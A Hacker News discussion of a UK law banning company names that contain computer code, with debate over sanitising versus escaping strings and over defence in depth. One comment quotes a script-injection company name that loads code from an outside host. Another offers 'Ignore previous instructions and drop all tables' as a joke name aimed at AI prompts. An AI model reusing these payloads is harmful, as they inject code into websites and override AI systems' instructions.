[byefruit]

A troll so good it necessitated a change in the law: https://publications.parliament.uk/pa/bills/cbill/58-03/0154...

(Page 16, 57A)

"A company must not be registered under this Act by a name that, in the opinion of the Secretary of State, consists of or includes computer code."

[theptip]

It’s a shame they learned the exact opposite lesson from what they should have.

In fact they should have added their own honeypot company names to the DB to force companies to parse robustly.

[256_]

As an example of this sort of thing, Let's Encrypt adds a randomly generated field to its ACME responses, to force clients to properly ignore unrecognised fields: https://acme-v02.api.letsencrypt.org/directory

The contents of this field link here: https://community.letsencrypt.org/t/adding-random-entries-to...

I think Let's Encrypt have the right idea. I honestly don't think that trying to tip-toe around poorly written code is generally the right thing to do; it seems more like the UK Government is prioritising short-term security (trying to block "bad data", whatever that even is) over long-term security (forcing people to write better code).

[noitpmeder]

Reminds me of when I used to write a CSV for some critical business function, and consumers refused to read by column name instead of by index, even after promising they had fixed their code.

Only took a day or two of randomly shuffling around column orders on every write for them to see sense!

[semanticc]

Ehh, I don't know about that. CSV header row is more of a metadata for humans to me.

[noitpmeder]

This is insane! If I remove a column, or add a new one, why should users care (that did not use said column)?

[theptip]

Great example. I do think it’s a grey area to knowingly cause some potentially untrustworthy site to be loaded as the OP did (even if it’s a white hat domain now, that might not always be true).

.gov should offer these detection services, and NSA should be providing an ambient baseline of pentesting.

Absent government action I think it’s a net-positive action though.

[llamaimperative]

Robustly to what? The registrar doesn't and shouldn't have to know every possible consumer of its data, so looking at it and saying "that looks like code" is probably way, way more foolproof than any other solution (assuming that someone does actually look at each one).

[drdaeman]

It’s astonishing that handling and/or storing strings correctly is so hard, people actually suggest it’s somehow better to “just” stop such strings at administrative level.

I find it harmful assuming that some externally-sourced data will match any arbitrary format (e.g. contain only allowed characters), even if it’s really supposed to be so. (Inverse for outputs - one has to conform as strictly as they can.) Ignoring this leads to mental dismissal of validation and correct handling, and that’s how things start to crack at the seams. I have seen too many examples of “this can never be… oops”.

Add: Best one can safely assume when handling a string is that it’ll be composed of a zero or more octets (because that’s what typically OS/language would guarantee). Languages and frameworks usually provide a lot of tooling to ensure things are what they expected to be. Ignoring the failure modes (even less probable ones, like a different Unicode collation than is conventional on a certain system) makes one sloppy, not practical.

[IanCal]

And assuming all your consumers are not sloppy is impractical.

We sanitise input all the time. This is not particularly unique. There isn't a great loss in this restriction of company names.

[Dalewyn]

>We sanitise input all the time.

No we don't.

Companies like the aforementioned were made illegal because nobody sanitizes input.

SQL query injection and other forms of malformed data entry is still one of the most common attack vectors in the year 2024.

[rapind]

Isn't making it illegal a way of sanitizing it though?

[hnfong]

You probably want to say "correctly handle arbitrary input" than "sanitize" inputs.

If everybody sanitizes their inputs (in undefined ways) then companies like the one mentioned would be randomly blocked from administrative processes.

This is not what we (as a society) want.

If Bobby Tables isn't a valid name the legislation should make it invalid, instead of rubber stamping it at the government registry and let poor Bobby get random errors when making requests to various public bodies. ("Sorry, our school does not admit persons with semicolons in their names.")

[resonious]

> It’s astonishing that handling and/or storing strings correctly is so hard

Is it astonishing? "Don't sanitize your own strings; always use a library" is common advice for handling SQL and HTML, which implies to me that it is in fact pretty hard to do correctly.

[drdaeman]

Anything is hard, if the plank is low enough. Basic language transformations with regular grammar (like escaping a string for use in a HTML document) are, IMHO, not particularly hard. The hardest part is to actually recognize what is the language of your output and if there is a mismatch with the language of your string value.

What's astonishing is the popularity of the way of thinking that producing the cheapest code possible that still works along happy path (and simply doesn't fail too badly when it does) is is considered not only a valid practice but even some business virtue that needs to be protected.

The more I think about it, the more I like the idea of an EICAR-like records like this SCRIPT one - in the official database. It must be fully benign, of course (in a sense the script source should point to the same agency, and contain only a warning but no harmful code), and it must be well-known - effectively a test case for production systems. Rather than a pinky-swear "company name will should be okay, don't worry" that allows neglect, it's a "hey, this is a special weird case - specially to make sure you're doing things right" friendly guidance.

[rapind]

The fact that so many people were impacted by left-pad leads me to believe that people aren't using libraries because a problem is pretty hard, but rather because they don't even want to think about the problem that a library supposedly addresses. It can also often be way to hand off responsibility IMO.

[jvanderbot]

I'm genuinely curious - where does this end? I once was curious about whether I should sanitize dynamodb inputs, and was surprised to see zero guidance for or against.

How about things like parsing strings for serializing to binary storage?

Can everything be an injection attack?

[3np]

I think it's safe to put arbitrary data in DynamoDB (just use the proper API instead of concatenating it directly into a command string...) It's the systems interacting with it you have to be careful about. In general, there is no silver bullet beyond "understand your systems capabilities and limitations". Formal verification also comes to mind.

> Can everything be an injection attack?

What does this question even mean? I guess we must say "for any system accepting arbitrary input: yes". Not even sure if the "arbitrary" qualifier is necessary.

[jakimfett]

> where does this end?

It never does, because abstractly speaking, there is no such thing as a secure computing system. This goes double for any computer that is switched on.

Practically speaking, it depends on how critical your application might be. If you're storing values for neurosurgery or automated dispersal of life-saving (or potentially life-ending) medication, you'd better be sanitizing on the way in, validating on the way out, and have some additional layers like audits and comparisons to known good values at rest. Look into defense in depth, and never trust the computer to make a decision, because the computer cannot be held accountable.

If you're storing quiz results for someone's favourite colour, or it's not internet connected, you can probably be a bit less paranoid about it.

> Can everything be an injection attack?

But yeah, anything and everything could be an injection attack if the attacker is determined enough. It's just a matter of how difficult you want to make it for them.

[crdrost]

That advice is 90% because developers are lazy. Like we'll write

    const csv = rows.map(cols => cols.join(','))
                    .join('\n')

because we are too lazy to write the more correct,

    const esc = cell => `"${String(cell).replace(/"/g, '""')}"`
    const csv = rows.map(cols => cols.map(esc).join(','))
                    .join('\n')

(And perhaps something slightly more efficient but slower that only quotes each cell when it needs to be escaped.)

I caught myself doing it the other day, Go has a JSON library and here I was too lazy to define a struct,

    w.WriteHeader(500)
    fmt.Fprintf(w, `{"error": %q}`, err.Error())

Is %q a JSON-compatible format? I have no idea without reading some source code! Almost certainly it won't \u-encode weird characters. That might be OK, I think the only stuff you really have to escape in JSON strings is newlines, backslashes, and double quotes? And %q probably handles those. Maybe it breaks on ASCII control characters...

But yeah, we are meant to always use a library because we have deadlines and we are willing to compromise a whole lot of quality to deliver on them.

[wruza]

Both cases are the result of library/runtime/env designer not thinking about the crowd. If csv.esc(s) and json(x) were available right away, without imports even, you wouldn’t have to decide whether it’s fine. Fmt should just have %j.

Specifically json and unjson I make globally available in all my projects. If I used csv more often than once in a decade, I’d have csvesc(s) too.

Sometimes you read some stdlib reference and wonder what they were thinking with things like System.out.println and without one-line one-arg readtext(), tojson(), fetch() and so on. It’s like a kitchen with all appliances still in boxes and all utensils in a tight vacuum cover. Everything is there, but preparation friction makes it absolutely unusable.

[robertlagrant]

It's not hard to do correctly. If you employ people to write SQL who can't tell the difference between string concatenation and parameterised queries, then your bar is too low. This can be learned in under an hour[0], and is the most fundamental thing to bear in mind when writing a query.

[0] https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection...

[josefx]

> is common advice for handling SQL

Are we still passing SQL statements and data to the SQL back end as single string instead of passing them separately? Why would you even need to escape SQL data in 2024?

[arethuza]

One example that I found is that some libraries/databases don't allow DDL statements to be parameterised - so if you are managing tables and columns from code and those names came from end users then you should be checking them.

[andylynch]

Agencies like this /already/ have plenty of other restrictions on what names are permissible, this is just a new one.

Most are to do with ones which could be misleading, eg you can’t have ‘bank’ in the name unless you are, well, an actual bank.

[lolinder]

Every consumer of its data should be sanitizing its inputs before rendering them wherever they are using it. HTML, SQL, etc. Banning "computer code" as judged by a random bureaucrat from being inserted into the database is not a solution at all, much less a foolproof one.

The absolute best case scenario here is that the bureaucrats successfully block all possible actually-malicious injection attacks but the vulnerable consumers still get broken occasionally by a random apostrophe that gets thrown in.

[bonoboTP]

> Every consumer of its data should be sanitizing its inputs before rendering them wherever they are using it.

This is not how the real world runs though. In the real world (outside the bubble of programmers) things are messy and a lot of stuff barely works, many people are incompetent etc.

Said otherwise, it's defense in depth.

"Should" doesn't factor in. You can't make everyone competent at the wave of a magic wand. But you can control what company names are allowed. You can't control how they will be parsed. There is one law about company names, but a myriad systems that may parse them.

This is a huge blindspot of programmers.

[wruza]

It always barely works as much as you allow it to. Lower the bar even more and it will start barely working at it again.

This koolaid with protecting real world only helps perception (“I made it work now with this simple rule”), cause moving the bar down relaxes issues a bit and they don’t instantly accumulate at the new level.

It doesn’t matter where the bar is, they will always find enough competence and budget to follow it in a moment. You just have to hard-break what half-works in advance.

You can't make everyone competent at the wave of a magic wand

You can make their incompetence fail by adding random honeypots like someone suggested above. That would be a smart move. Your “out of bubble” move is just an instant gratification button.

[lyu07282]

Whenever I see a python-requests user-agent I sometimes keep the connection open indefinitely without responding, to see if the developer was incompetent and forgot to set a timeout. Responding to other certain clients with 'Location: file:///dev/urandom' is also mildly entertaining.

My point would be, I'm not sure if this wouldn't be too damaging to the mental health of programmers if everyone was doing shit like that.

[bebrbrhrj]

On balance, blocking such names makes sense. You can secure YOUR systems, and if that was that I would agree but unless you are going to pay to audit all consumers of the data worldwide, this solution is more pragmatic. I am not sure what we gain by letting company names have code.

[from-nibly]

Thats the thing, you don't have to audit. You put your own harmless malicious code base company names in and people immediately learn to deal with it.

It's WAY less pragmatic to test every company name for potential malicious actions in other peoples code that you don't own.

[bebrbrhrj]

You are right but best to do that on day 1, which was probably in the 1970s or whenever a database of company names first existed. In the case of HTML script exploits maybe the 1990s.

So you have a transitioning issue. You suddenly allow this company name sending a script to a domain they control then it is too dangerous.

Test data like you mentioned is a great idea to increase resiliance. However I don't think that rises the overall ecosystem of consumers of this data to the right level to release actual exploits into the dataset.

Downvoters are probably thinking purely. They are thinking "everyone in the world should make their systems 100% secure against common exploits and let a company name be an arbitrary string".

The problem is that is not realistic.

It works at a corporate level but not across all actors who interact with this dataset and the global internet. You can "should" at them all you like but no one has control over this.

The government can choose: more exploits in the wild or fewer. Allowing script URLs they dont control in company names is the former.

[IanCal]

That doesn't test things in a useful way, and relies on having an official dataset lie. Good ingestion code should ignore those, and then you're not even testing the frontend of those systems.

[stoperaticless]

By disallowing, we normalise deviance (security wise).

Also, there can be a problem with who/how decides what is code. There are myriad of programming languages already, and for trolling or legal attack purposes, one could build interpreter using arbitrary words as keywords (to make problems for arbitrary company)

[desas]

> there can be a problem with who/how decides what is code.

Blocking names that look like code is part of a defence in depth approach, it's not a standalone silver bullet.

[jlarocco]

> Robustly to what?

Not executing user input strings?

IMO, this is like making human names illegal because people with certain accents or native languages may struggle to pronounce them.

Our government officials are so stupid it's astounding. This doesn't make anybody safer, but there's now another minor charge after somebody has broken the law.

[IanCal]

We literally ban people from naming their children with unpronounceable names.

[llamaimperative]

The issue isn’t the government systems executing it. Countless other systems use and trust these sources. And sure, the registry isn’t technically liable, but it’s good not to break your downstream consumers when possible.

> “A company was registered using characters that could have presented a security risk to a small number of our customers, if published on unprotected external websites.”

Emphasis mine.

Maybe you’re the stupid one?

[ctenb]

I'm confused why everybody keeps talking about sanitization when all you have to do is escape a string properly whenever you inject it verbatim into a language, be it HTML or SQL or whatever.

[fisf]

Because they have not understood the core issue. It's impossible to store / sanitize data correctly, when this is absolutely context / output dependent.

[paulryanrogers]

Robustly against malicious input. A secure parser won't interpret user input as instructions, period.

[drdaeman]

As I get it, inputs aren’t an issue, failure to correctly escape outputs to match the target format is.

[hnick]

I liked perl's taint mode. It seemed pretty good against the "oops, forgot to sanitise this and you used it as output" situation that probably accounts for a lot of these issues. It won't force you to correctly sanitise, but assuming you have that capability it lets you know about gaps so you can plug them.

[paulryanrogers]

Good point, both are needed: secure parsing and secure rendering.

We are grown ups, we can disagree without resorting to ad homenim. (Might be time for you to review the HN code of conduct.)

[raverbashing]

The "you" in that phrase means a 3rd person creating a funny company name (speaking of HN code of conduct, it explicitly advocates for assuming good faith)

[ruthmarx]

Why solve problems when you can just outlaw the actions causing them?

/s because sadly I feel it is needed here.

[hnfong]

Right, because hacking into the matrix and tweaking the code there to make security breaches physically impossible is obviously the more robust solution...

[ruthmarx]

Ensuring government employees are following best security practices and not being negligent, and thus not passing the buck to citizens is maybe a little bit more realistic.

[hnfong]

I think the problem here is that government departments are not the only entities consuming the data. Private companies also deal with company names too. So at this point it's either:

- somehow ensure all software is bug free (at least when processing company names)

- outlawing things

- just let it happen

The first option isn't that far away from hacking the matrix and making buggy software physically impossible. The second option seems to be better than the third.

[ruthmarx]

> I think the problem here is that government departments are not the only entities consuming the data.

That's actually a really good point.

[paulddraper]

The potential value of having companies named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" is far outweighed by potential costs.

[account42]

What are the costs? That someone hacks some system with they legal name attached to the hack?

Nex the UK will ban knives. Oh wait...

[paulddraper]

The potential cost is an XSS vuln.

[account42]

... with the name of the perpetrator attached. Companies are not something you can register anonymously.

Do you have bars on your windows? No? The potential cost is a breakin?

You you expect restaurants and stores to pat you down before you are allowed to enter? No? The potential cost is an attack on the staff.

Should we ban cars because they can be used as lethal weapons? No? The potential cost is a terrorist attack.

Deterrence through consequence is a thing and generally less costly for society than to make crime 100% impossible.

[paulddraper]

> The potential cost is a breakin?

Absolutely. In exchange, however, I get better visibility, and lower cost windows.

Those advantages are meaningful enough that my house does not have bars on the windows.

[exegete]

I would call what they did “shifting left” in some sense. [0] They are catching and preventing the issues much earlier in the process.

0. https://en.m.wikipedia.org/wiki/Shift-left_testing

[jvanderbot]

There was no lesson to learn, this is how it works. It is made illegal, then extra illegal, then no costs are levied for prevention, only for prosecution.

The law does not prevent attacks it lowers cost of prosecution by clearing up the ambiguity about whether this was illegal.

I'm not sure I love that, but that's how it always seems to work. Otherwise it's just another "job killing regulation".

[omnicognate]

Since it seemed confusing for people last time this came up, note that "Secretary of State" has a very different meaning in the UK vs in the USA. The particular Secretary of State this refers to is, IIRC, the Secretary of State for Business and Trade: https://en.m.wikipedia.org/wiki/Secretary_of_State_for_Busin...

[gottorf]

State-level Secretaries of State has basically the same meaning as the UK one. Most states' business incorporation happens under the SoS's administration. They also usually manage elections and other public-facing interfaces of the state government.

[omnicognate]

Interesting, didn't know that. Nonetheless, both in the US and worldwide the phrase "The Secretary of State" used on its own tends to conjure a particular post in most people's imaginations: https://en.m.wikipedia.org/wiki/United_States_Secretary_of_S...

[jkaplowitz]

True in most contexts, but not in the context of state-level legislative language where it would usually refer to that state’s official role of that name. Most equivalent US legislation to what we’re discussing here would occur at the state level, since incorporation in the US is generally handled by the states. (The US federal government does track companies in various ways, of course, but the publicly accessible company registers come from the states.)

[omnicognate]

The context here is a UK law, not US state-level legislation, so I don't see the relevance. And the similarity between the UK and state-level US meanings of "Secretary of State" was overstated anyway. There is no one Secretary of State in the UK and it isn't a specific position in its own right. There are 17 Secretaries of State, all covering different things. The legislation here refers (I think) to the Secretary of State for Business and Commerce rather than, for example, the Secretary of State for Culture, Media and Sport or the Secretary of State for Education.

[fanf2]

There are many secretaries of state in the UK with lots of different portfolios, it’s basically a synonym for cabinet minister.

[ksp-atlas]

What is considered computer code? Am I called to name a company "#include<studio.h> Ltd"? What about "console.log Ltd"?

[desas]

It's left up to personal judgement of a civil servant. The law isn't code, it doesn't need to exhaustively define every rule. Issues with definitions are dealt with by the courts or by contacting your MP.

[baxtr]

What about prompts though?

[Dilettante_]

Man companies are basically already doing that, except they compile that into advertisements to be ran on our subconscious

[NeoTar]

This is why the law says : “in the opinion of the Secretary of State, consists of or includes computer code.” - I believe a prompt could theoretically be interpreted as code. Some (human) judgement is needed.

[philipov]

Yes, the proper definition of "code" here is "something the author expects to be executed as instructions to a computer" - which inherently requires Theory of Mind to identify.

[tshaddox]

Nah, you get around needing an explicit theory of mind with the fictive "reasonable person." Most systems of criminal law place a lot of importance on both mens rea and intent.

[philipov]

Mens Rea is exactly why you need Theory of Mind. One can't judge intent without it. The point is that some naive mechanistic definition like "Structured information" that another commenter suggested isn't going to fit the bill. It is the intent to have the message be maliciously executed that needs adjudication, and you need a human that can exercise theory of mind to be able to do that. One can't do it with a regex, for example.

Especially in the coming era of natural language interfaces, the only difference between code and other language is how it is intended to be used.

Code is structured information, as is language.

I agree. CS people are hyper-fixated on rules and processes, to the point where they forget humans exist.

It’s always a modest thrill to interact with new computer systems and see if and how they break. Some web forms just can’t be submitted because my company’s legal name has been autofilled from the registry and is not an editable field, but then they have a validator that won’t allow the string that their own system inserted into the form.

[justsomehnguy]

The best part is when in one year you supply a fully correct government issued ID to the e-gov site. And years later you can't use that ID because it's auto filled but nowadays it's a two fields instead of one.

[qingcharles]

The + character: What William Gibson termed "the hipster's ampersand."

[michaelt]

The law actually contains a list of permitted characters [1]

Your company name can contain curly left apostrophe, curly right apostrophe, and straight apostrophe - but no lower case letters.

There are also a bunch of rules about specific words [2] - so you can't have "Financial Conduct Authority" in your company name without the permission of the government department of the same name.

[1] https://www.legislation.gov.uk/uksi/2015/17/schedule/1/made [2] https://www.gov.uk/government/publications/incorporation-and...

[card_zero]

What's the problem with lower case characters? I feel like they just excluded them by accident because the table was getting too big.

[gpvos]

Easy way to make sure there are no company names that differ only in case?

[kmoser]

But that leaves open the door for "FOO[space]BAR" (one space) and "FOO[space][space]BAR" (two spaces) to be registered, so that doesn't really accomplish the goal of "company names must be unique." If case-insensitivity were really their goal, that could easily be accomplished by choosing a case-insensitive collation for their DB.

[llamaimperative]

Maybe to avoid ambiguity between I and l?

[CoastalCoder]

Ah, I see your confusion.

It's "I", me", or "myself" depending on context. The rules can be confusing, but in most context are not ambiguous.

[qingcharles]

Can you have a company name that is only curly left apostrophe, curly right apostrophe, and straight apostrophe? Asking for a friend.

[selimthegrim]

Don’t give them too many ideas we’re gonna have eval, cars and cdrs next

[ljm]

Law isn't code, it's meant to be understood by humans and not computers.

Also, companies are allowed to have spaces and hyphens and other punctuation in their name, in fact the only requirement as I understand it is that private companies have to have 'Limited' or 'Ltd' at the end and that's it.

[croon]

IANAL, but (or rather "so") I disagree. I can with some effort understand law jargon, but it certainly is not written to be understood by humans. I'm convinced computers are much better at it, but lawyers suffice.

[GTP]

No, law has to be interpreted, and in interpreting it human values play a significant role. I suggest you to read "Law for Computer Scientists and Other Folk" [1].

[1] https://global.oup.com/academic/product/law-for-computer-sci...

[OJFord]

IANAL, but I know that (in the UK and other common law countries) it very literally is not. France on the other hand does (in some cases / levels of law? I'm sure I've nerd-sniped someone into explaining properly already) try to codify (not literally computer code, but it's maybe a useful analogy, declarative code anyway) all law.

That is, judges consider the legal precedent, the existing body of case law, and how it applies to the case they're currently considering. We determined in Foo v Bar 1773 that driving a horse under the influence of alcohol into a gathering of people [...] therefore I find in Baz v Fred 1922 that doing the same thing with a motor vehicle [...]. That sort of thing.

[NoboruWataya]

Probably not the nerd snipe you were hoping for but a huge amount of law is now codified in common law jurisdictions, too. Judges don't make law in the same way that they used to. They may have somewhat more flexibility to interpret legislation than their civil law counterparts. But the prohibition on driving a horse under the influence into a gathering of people is almost certainly set out in legislation these days, and not (primarily) an old judicial precedent.

(That said, the "code" that results from such "codification" is still very much intended to be understood and interpreted by humans.)

[ljm]

This guy never left the US.

[admax88qqq]

> I'm convinced computers are much better at it, but lawyers suffice.

This is just wrong though. The effect of the law is only what humans determine it to be.

Computers can't be better at it by definition. If a computer claims a law says one thing but a judge/court determines the other, the judge wins because the law is a human system.

similar to what the crypto people tried with smart contracts. I can unconditionally have a token that says I own a pizza, but it doesn't mean I own a pizza.

[vanviegen]

Sure, but a computer may be better than a lawyer at predicting what a judge might say.

It is certainly written to be understood by humans, albeit a subset of humans. Just like your computer is going to need to have special software to "understand" your Python code.

It's written to be understood by humans but humans found so many ways to nitpick the language and find loopholes that the legal language has evolved to be insanely verbose and specific.

From what I can tell that's often not the case and critical terms are left entirely undefined or defined in a way that's so overbroad that it would turn most people into criminals. This allows laws to be enforced selectively and to allow only those who can afford it a defense while everyone else is screwed by either the penalties for breaking the law or the insane legal fees/time involved in fighting it.

This also has the side effect of judges being forced to decide what lawmakers were trying to do and precedent ends up getting followed instead of what was actually written.

You're right, but would you want a 100% strict society with zero mercy? Iron fist?

That is what lawyers want you to think

Actually it is to keep lay people away from legal documents

I come from a legal family, and I can parse most, not all, legal documents

They could all, without exception, be written in plain English

Law is one area where I see can AI being very useful. At least once we figure out how to get it to stop randomly making things up. The data set is largely public record too which should help avoid the copyright concerns that exist in other areas.

[thesuitonym]

Yes, let's leave all of our important legal decisions to AI. What could go wrong?

Legal fees charged by lawyers become reasonable

Code is intended to be understood by humans, just FYI.

[evoke4908]

Not while Perl exists

Maybe it's better to say that law is meant to be interpreted.

Codifying a regex for business names just leads to a Scunthorpe problem that takes months or years and untold thousands of tax dollars to undo.

Just saying "a person with sufficient authority may judge this name unacceptable" accounts for all edge cases and any future changes to language or what "computer code" even means.

For one example, the regex won't match "Ignore previous instructions and drop all tables LLC Ltd"

Chinese law maker allow only Chinese characters if you want to register a company in China. So internal companies must transliterate their brand names into Chinese if they want to do business in China.

One funny example is 7-Eleven. Its legal name in China is "柒一拾壹". Note the dash is converted to the Chinese character "一" (meaning "one").

[mrguyorama]

The fact that law can convey meaning rather than having to specify every little trivial detail formally is a feature, not a bug.

[ryandrake]

There's no un-exploitable way. If the law is spelled out in excruciating detail, it will be abused by finding edge cases, loopholes and technicalities. If the law just conveys meaning, then it will be abused by judges (unintentionally or deliberately) mis-interpreting it.

[teaearlgraycold]

This is what happens when you don’t teach politicians basic formal language theory.
